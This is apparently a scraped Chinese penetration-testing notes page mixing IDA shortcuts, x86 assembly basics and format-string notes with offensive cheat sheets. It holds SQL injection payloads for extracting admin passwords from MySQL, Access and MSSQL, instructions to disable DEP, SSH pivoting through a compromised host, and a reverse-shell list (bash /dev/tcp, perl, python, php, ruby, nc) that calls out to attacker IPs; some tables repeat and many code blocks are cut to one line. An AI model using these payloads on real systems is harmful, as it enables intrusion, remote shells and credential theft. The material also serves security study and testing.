快捷键 | 作用 |
---|---|
Alt+T | 搜索文本 |
Ctrl+1 | Quick View导航 |
空格键 | 图形视图/汇编视图切换 |
Shift+F3 | 切换到Functions窗口 |
Shift+F4 | 切换到Names窗口 |
Shift+F7 | 切换到Segments窗口 |
Shift+F12 | 切换到Strings窗口 |
IDA View内 | |
Ctrl+Enter | 前进(函数调用) |
Esc | 后退(函数调用) |
快捷键 | 作用 |
---|---|
Alt+T | 搜索文本 |
Ctrl+1 | Quick View导航 |
空格键 | 图形视图/汇编视图切换 |
Shift+F3 | 切换到Functions窗口 |
Shift+F4 | 切换到Names窗口 |
Shift+F7 | 切换到Segments窗口 |
Shift+F12 | 切换到Strings窗口 |
IDA View内 | |
Ctrl+Enter | 前进(函数调用) |
Esc | 后退(函数调用) |
MYSQL篇
1.内置函数和变量
1 | @@datadir,version(),database(),user(),load_file(),outfile() |
2.利用concat(),group_concat(),concat_ws()拼接查询结果
实例:
1 | xxx.php?id=1 and 1=2 union select 1, |
3.使用内建数据库查询表段和字段
查表段:
1 | xxx.php?id=1 and 1=2 union select 1,2,table_name from |
查字段:
1 | xxx.php?id=1 and 1=2 union select 1,2,column_name from |
这里可以再结合下concat的拼接功能
1 | xxx.php?id=1 and 1=2 union select 1,2,group_concat(column_name,0x20) |
Access篇
猜表名
1 | *.asp?id=1 and exists (select * from admin) |
猜列名
1 | *.asp?id=1 and exists (select password from admin) |
Order by查询
1 | *.asp?id=1 order by 3 |
union 查询
1 | *.asp?id=1 union select 1,password,3 from admin |
不支持union的情况
先判断内容的长度
1 | *.asp?id=132 and (select top 1 len(user) from admin) >5 |
然后一个一个猜
1 | *.asp?id=132 and (select top 1 asc(mid(user,1,1)) from admin)>97 |
例如确定asc(mid(user,1,1))的值是97,即可判断出user的第一个字符为a
确定了之后继续从第二个位置猜
1 | *.asp?id=132 and (select top 1 asc(mid(user,2,1)) from admin)>97 |
以此类推
MSSQL篇
基于报错的MSSQL注入:
判断是否是MSSQL
1 | 'and exists (select * from sysobjects) -- |
如果返回正常,就说明是MSSQL,否则当sysobjects不存在,是会报错的。
猜表名:
1 | 'and exists(select * from admin)-- |
如果存在,会返回正常页面,否则报错,就是不存在。
Windows XP SP3
在Windows XP SP3中,关闭DEP的方法是:
编辑C:\boot.ini,你大概会看到如下内容
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional"
/noexecute=optin /fastdetect
要关闭DEP,将/noexecute=optin 改为/excute,重启系统即可。
Windows 7
Windows7中不是通过boot.ini来保护了,需要在命令行中输入bcdedit,如果观察到输出的最后一项为
nx 1
表示DEP保护是开启的,并且级别为1
只需要运行
bcdedit /set nx alwaysoff
就可以了,然后重启系统。
Downloader 1
1 | Set args = Wscript.Arguments |
Downloader 2
1 | <% |
1 | @echo off |
Get System Info
1 | @echo off |
Get Task List
1 | '''''''''''''''''''''''''''''''''''' |
在很多时候拿到了内网的一台主机,我们需要用它做跳板来对内网进一步扩大战果。
也许方法很多,meterpreter,nc等等。但是最方便也最有可能穿透防火墙的方法,就是用ssh。
分为四种类型:
本地转发,远程转发,跳板转发,动态转发。
本地转发
假设攻击机A主机为本机,ip是y.y.y.y,用户是hacker,被攻击且用作跳板的主机是B,ip是
x.x.x.x,对应的内网ip是10.0.0.2,用户是root,ssh的端口是22。
假设B机器上的80端口开放了一个服务,但是只有B主机本机上才能访问,这时候可以使用本地转
发,在A机器上执行命令:
1 | ssh -L 8080:localhost:80 [email protected] |
这样,在本机A中访问localhost:80,数据被转发到B主机的80端口,即实现了访问B机器的本地
服务。
很常见的一个实例就是攻击者拿下了某目标内部的网关服务器,但是出于安全考虑网管的web控
制台界面只有在网关服务器自身上才能访问,这时候就可以通过这种方式转发流量,方便的操作
网关服务器的web控制台了。
上面的情况,是基于A主机可以ssh到B的情况,但假如从A到B的ssh连接被拒绝,而恰好B主机的
防火墙没有禁止其使用ssh外连,这时候就可以通过远程转发来实现上述同样的效果。
在B机器上执行命令:
1 | ssh -R 8080:localhost80 [email protected] |
这时候在A机器上访问自身的8080端口,数据也是被转发到了B主机的80端口上的。
可见,这种方式受到的局限比较多,因为如果能够在B主机上使用ssh外连了,还需要通过ssh来
转发流量的情况也是很少见的,但也不是没有。
以上两种转发,都是只对跳板服务器自身的服务,很多时候,渗透需要的是内网中一台稳定的跳板,
这时候就可以使用
跳板转发来实现多主机之间转发。
假设现在需要通过B主机作为跳板,来访问与B处于同一内网中的机器C的80端口,假设C的ip是
10.0.0.3,这时候可以在攻击机上执行如下命令:
1 | ssh -g -L 8080:10.0.0.3:80 [email protected] |
此时在A主机上8080端口的流量就被转发到C主机的80端口上了。
最有用的就是最后要介绍的,
动态转发,这种转发可以将流量随心所欲的转发,此时实现的效果就相当于代理服务器,在A机器
上用下面的命令实现:
1 | ssh -D 8080 [email protected] |
此时在A机器上配置SOCKS代理端口localhost:8080,就可以以B为代理服务器随心所欲的畅游。
最后补充使用ssh进行X转发的命令,其实很简单:
1 | ssh -X [email protected] |
这样连接上以后,目标机器的X服务器所做的操作都会通过x协议发送到本地,很方便的实现了可
视化操作。
例如在终端输入firefox,就可以在本地弹出一个实际上运行在远程的firefox进程。
bash
1 | $ bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 |
perl
1 | perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
python
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.88.20",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
php
1 | php -r '$sock=fsockopen("x.x.x.x",1234);exec("/bin/sh -i <&3 >&3 2>&3");' |
ruby
1 | ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' |
nc
1 | $ nc -e /bin/sh 10.0.0.1 1234 |
1 | $ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f |
1 | $ nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999 |
jsp
1 | r = Runtime.getRuntime() |
C
1 | #include <stdio.h> |
二进制安全相关工具和教程站点
CPU指令的基本单位
总线
地址空间
寻址方式
寄存器(80386处理器中的寄存器分为8组,每组宽度为32位)
PSW寄存器详解
15 | 14 | 13 | 12 | 11 | 10 | 9 | 8 | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0 |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
– | – | – | – | OF | DF | IF | TF | SF | ZF | – | AF | – | PF | – | CF |
标志位 | 说明 |
---|---|
OF(Overflow Flag)溢出标志 | 溢出时为1,否则置0 |
SF(Sign Flag)符号标志 | 结果为负时置1,否则置0 |
ZF(Zero Flag)零标志 | 运算结果为0时ZF位置1,否则置0 |
CF(Carry Flag)进位标志 | 进位时置1,否则置0 |
AF(Auxiliary carry Flag) | 辅助进位标志,记录运算时第3位(半个字节)产生的进位置。有进位时1,否则置0 |
PF(Parity Flag)奇偶标志 | 结果操作数中1的个数为偶数时置1,否则置0 |
DF(Direction Flag)方向标志 | 在串处理指令中控制信息的方向 |
if(Interrupt Flag)中断标志 | |
TF(Trap Flag)陷阱标志 |
整数
整数表达式优先级
数据传送
通用数据传送
伪指令
代码标号
1 | target: |
数据标号
1 | first BYTE 10 |
注释
1 | ;单行注释 |
1 | mov 赋值 |
1 | byte 8位无符号整数 |
1 | .data |
push 压栈
pop 出栈
MOV 赋值
MOVZX 零拓展传送
MOVSX 符号拓展传送
1 | MOV DL,90H ;DL=90H |
CBW 将字节数据扩展成字,符号位扩展到AH中
CWD 将字数据扩展成双字,符号位放到DX中
1 | MOV AL,70H ; |
XCHG 交换两个操作数的数据,支持8位、16位、32位
PUSH 入栈,支持立即数入栈
PUSHA 将8个16位通用寄存器全部入栈,顺序为AX,CX,DX,BX,SP,BP,SI,DI,然后SP指针寄存减16,内容为PUSHA指令执行前的内容
PUSHAD 将8个32位通用寄存器全部入栈,顺序为EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI,然后ESP的内容是执行指令PUSHAD之前的内容
POP 出栈
POPA 8个16位通用寄存器全部出栈,堆栈指针寄存器不是堆栈中弹出的内容,而是加16之后得到
POPAD 8个32位通用寄存器全部出栈,ESP的内容是执行指令PUSHAD之前的内容
LEA 取有效地址
1 | MOV EAX, 11111111h |
LDS 装入指针,目的寄存器必须是16位或32位的通用寄存器,操作数必须是内存单元,不能是立即数
1 | LDS EAX, [1000H];将偏移地址为1000,1001h这两个字节单元的内容送给DS,将1002,1003,1004,1005这四个字节单元的内容送往EAX |
LES 同LDS,不过段寄存器是ES
LFS 同LDS,不过段寄存器是FS
LGS 同LDS,不过段寄存器是GS
LSS 同LDS,不过段寄存器是SS
LAHF 将标志寄存器的低8位送至AH中,包括SF,ZF,ZF,PF,CF。
SAHF 与LAHF的过程恰好相反
PUSHF 将标志寄存器的EFLAGS低16位内容入栈
PUSHFD 将标志寄存器EFLAGS的内容入栈
POPF 将栈顶的一个字弹出,并将它送到标志寄存器EFLAGS的低16位
POPFD 将栈顶的两个字弹出,并将它送到标志寄存器EFLAGS
OFFSET 取当前内存的地址
1 | offset Array |
EBP EBP指向栈底
ESP 指向栈区域的栈顶位置
EIP 指向下一个将会被执行的指令
EAX = [AX]+[AH+AL]
db: 声明 1 byte(字节)变量
dw: 声明 2 byte(字节)变量 = 1 word
dd: 声明 4 byte(字节)变量 = 2 word = 1 double word
1 | mov eax ebx |
和C语言的对比:
a = b[0x66] => mov eax [ebx+66h]
数据交换
1 | lea edx, b ;将edx指向b |
条件跳转:
cmp 比较结果
jx 检查条件x,有大于、小于、等于三个状态
je 相等时跳转
jne 不相等时跳转
jb、ja 比较无符号数然后决定是否跳转
jl、jg 比较有符号数然后决定是否跳转
jbe 在一个无符号数小于或者等于另一个无符号数时发生跳转
jmp 无条件跳转
1 | cmp EAX,EBX ;比较EAX和EBX |
1 | push offset, LibName ;将字符串偏移量压入堆栈 |
文件偏移地址 = 虚拟内存地址-装载基址-节偏移
= RVA - 节偏移
1 | 4d 5a MZ |
1 | ff d8 ff e0 00 10 4a 46 49 46 JFIF |
1 | ca fe ba be |
1 | gcc -o test test.c |
1 | ldd ./test |
反汇编器:
1 | msfpayload linux/x86/shell_findport CPORT=4444 R >test |
分析网络数据包中可能包含shellcode的计算机网络攻击时,可以采用流式反汇编器来反汇编数据包中包含shellcode的部分
栈帧: 程序运行时栈中分配的内存块,专门用于特定的函数调用。
因为每个递归函数调用都有自己的栈帧,使得递归成为可能。
函数调用步骤:
1.调用方将被调用方所需的参数放到该函数所采用的调用约定制定的位置
2.调用方将控制权转交给被调用方
3.如有必要,为被调用的函数配置栈指针
4.被调用方为局部变量分配空间
5.被调用函数执行操作
6.函数完成操作后,为局部变量保留的栈空间被释放。(逆向执行第4步中的操作)
7.还原寄存器值
8.被调用函数将控制权返还给调用方
9.删除栈中的参数
调用约定: 通过调用函数将函数参数存入栈中,调用函数必须存储被调用函数所需的参数。
调用约定指定调用方放置函数所需参数的具体位置。
调用约定可能要求将参数放置在制定的寄存器、程序栈或者寄存器和栈中。
c调用规定。
cdecl调用约定规定:
调用方按从右到左的顺序将函数参数放入栈中。
在被调用的函数完成操作时,调用方负责从栈中清除参数。
要分析的文件为main.exe
会在目录中生成
从磁盘加载文件,解析文件头信息,创建包含代码或数据的程序块
编译器识别:IDA尝试确定用于创建输入文件的编译器,如果能确定,就可以扫描该编译器使用的样板代码序列
函数参数和局部变量识别:
数据类型信息:
地址 | 指令 | 16进制 | 指令长度 |
---|---|---|---|
.text:00401010 | push ebp | 55 | 1byte |
.text:00401011 | mov ebp, esp | 8B EC | 2byte |
.text:00401013 | sub esp, 44h | 83 EC 44 | 3byte |
.text:00401016 | push ebx | 53 | 1byte |
C语言字符串格式化类型:
Type | Description |
---|---|
%c | 输出字符,配上%n可用于向指定地址写数据。 |
%d | 输出十进制整数,配上%n可用于向指定地址写数据。 |
%x | 输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。 |
%p | 输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。 |
%s | 输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。 |
%n | 将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100x%10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。 |
参考:
https://www.anquanke.com/post/id/85785
堆管理相关文章:
https://www.cnblogs.com/alisecurity/p/5486458.html
https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/comment-page-1/
Update your browser to view this website correctly. Update my browser now